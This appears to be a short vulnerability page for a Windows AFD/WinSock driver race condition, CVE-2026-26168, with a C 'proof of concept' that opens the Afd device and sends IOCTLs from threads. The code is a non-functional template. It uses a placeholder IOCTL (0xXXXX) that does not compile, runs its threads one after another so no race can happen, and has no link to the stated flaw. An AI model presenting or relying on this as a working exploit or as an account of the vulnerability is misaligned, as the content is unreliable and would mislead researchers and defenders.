CVE-2026-26168 Windows WinSock驱动竞争条件漏洞

/* * PoC for CVE-2026-26168 (Race Condition) * This is a generic template for exploiting a race condition in a kernel driver. * Compile with: cl.exe poc.c */ #include <windows.h> #include <stdio.h> HANDLE hDevice; DWORD WINAPI ThreadFunc(LPVOID lpParam) { // Simulate triggering the race condition // In a real exploit, specific IOCTLs and memory manipulation would happen here DeviceIoControl(hDevice, 0xXXXX, NULL, 0, NULL, 0, NULL, NULL); return 0; } int main() { hDevice = CreateFileA("\\\\.\\Afd", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device.\n"); return 1; } printf("Triggering race condition...\n"); for (int i = 0; i < 2; i++) { HANDLE hThread = CreateThread(NULL, 0, ThreadFunc, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); } CloseHandle(hDevice); return 0; }